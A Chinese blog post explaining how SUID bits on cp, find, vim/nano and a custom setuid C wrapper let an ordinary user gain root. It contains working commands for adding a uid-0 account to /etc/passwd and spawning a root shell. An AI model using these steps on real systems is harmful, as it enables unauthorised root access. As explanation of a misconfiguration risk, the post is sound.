LINUX s权限位提权

我之前写过一篇 文件权限与ACL 的文章,提到过了权限也提到了s权限位。对s权限没有了解的可以先看下这篇内容。本篇要提到的为root用户的suid,具体可以看下passwd命令对应的权限。如果一些命令给了s权限位以后,是可以进行提权操作。可使用如下命令以root用户执行查看当前具有s权限位的文件:

find / -perm -u=s -type f 2>/dev/null

一、cp suid 示例

给 cp命令suid:

[root@361way ~]# whereis cp
cp: /usr/bin/cp /bin/cp /usr/share/man/man1/cp.1.gz /usr/share/man/man1p/cp.1p.gz
[root@361way ~]# ll /usr/bin/cp
-rwxr-xr-x 1 root root 151136 Aug  6  2016 /usr/bin/cp
[root@361way ~]# chmod u+s /bin/cp

普通用户提权:

[zabbix@localhost ~]$ cat /etc/passwd >passwd
[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0
[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
[zabbix@localhost ~]$ cp passwd /etc/passwd
[zabbix@localhost ~]$ su - hack
Password:
[root@361way ~]# id
uid=0(hack) gid=0(root) groups=0(root)
[root@361way ~]# cat /etc/passwd|tail -1
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

cp-suid

同样的给awk、sed这类具有写文件权限的命令以suid权限,都可以造成提权。

二、find suid

给find命令提权后,可以利用其exec参数以root权限执行任意命令:

[root@361way ~]# which find
/usr/bin/find
[root@361way ~]# ll /usr/bin/find
-rwxr-xr-x. 1 root root 199200 Nov 20  2015 /usr/bin/find
[root@361way ~]# chmod u+s /usr/bin/find
[root@361way ~]# su - zabbix
[zabbix@361way ~]$ ll
total 8720
-rw-r--r-- 1 zabbix  zabbix     3006 Jan  2 15:00 passwd
-rw-r--r-- 1 tcpdump tcpdump 8924686 Dec 13 16:56 test.cap
[zabbix@361way ~]$ find passwd -exec "whoami" \;
root
[zabbix@361way ~]$ find ./ -name "passwd" -exec "id" \;
uid=1003(zabbix) gid=1003(zabbix) euid=0(root) groups=1003(zabbix)

find-suid

三、编辑器suid权限

linux下常用的编辑器有vim、Emacs、nano 。这里以vim和nano为例吧。

[root@361way tmp]# which vim
/usr/bin/vim
[root@361way tmp]# ll /usr/bin/vim
-rwxr-xr-x 1 root root 2294256 Apr 11  2018 /usr/bin/vim
[root@361way tmp]# chmod u+s /usr/bin/vim
[root@361way tmp]# su - zabbix
[zabbix@361way ~]$ vim /etc/passwd
[zabbix@361way ~]$ vim etc/sudoers

给vim suid权限后,意味着任一用户可以以root权限编辑任一文件,linux下本来一切皆文件,实际造成的结果是我们可以为所欲为,修改/etc/passwd,将一个用户提升为root权限,或者新增一个用户,或者修改sudo权限,增加nopasswd all的权限。

nano的效果也是一样的。

四、自定义命令 suid权限

如下一个自定义的C程序,代码如下:

[root@361way tmp]# cat a.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
    setuid(0);
    system("/bin/bash");
    return 0;
}

执行如下命令进行编译并授权后,直接可以切换root权限:

[root@361way tmp]# gcc -o a a.c
[root@361way tmp]# chmod u+s a
[root@361way tmp]# su - zabbix
[zabbix@361way tmp]$ ./a
[root@361way tmp]# id
uid=0(root) gid=0(root) groups=0(root)

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注